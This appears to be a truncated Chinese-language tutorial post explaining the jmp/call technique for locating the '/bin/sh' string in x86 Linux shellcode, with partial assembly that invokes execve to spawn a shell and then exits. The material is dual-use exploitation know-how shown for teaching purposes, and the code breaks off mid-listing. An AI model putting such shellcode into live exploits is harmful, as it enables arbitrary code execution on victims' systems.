这篇文章将要描述一种更为常用的shellcode的写法,主要是在处理”/bin/sh”字符串时,通过一些小技巧让这个字符串处理的更为方便一些。这个新的方法中,用到了两条命令,一个是jmp,一个call。jmp语句会令代码无条件跳转,call语句也会令代码跳转,但有一点和jmp不一样的是,call在跳转之前,会把返回地址先保存到stack中,这个地址其实就是call之后下一条语句的地址,我们在这里利用这一点,把”/bin/sh”字符串的地址获得并加以利用。这些可以通过下面具体的代码来了解到。先看这段汇编代码.section .text
.globl _start
_start:
jmp GotoCall
shellcode:
popl %esi
subl $0x8, %esp
movl %esi, (%esp)
movl $0x0, 0x4(%esp)
movl $0xb, %eax
movl %esi, %ebx
leal (%esp), %ecx
leal 0x4(%esp), %edx
int $0x80
subl $0x8, %esp
movb $0x1, %al
xorl %ebx, %ebx
int $0x80
GotoCall:
call
...
继续阅读
(56)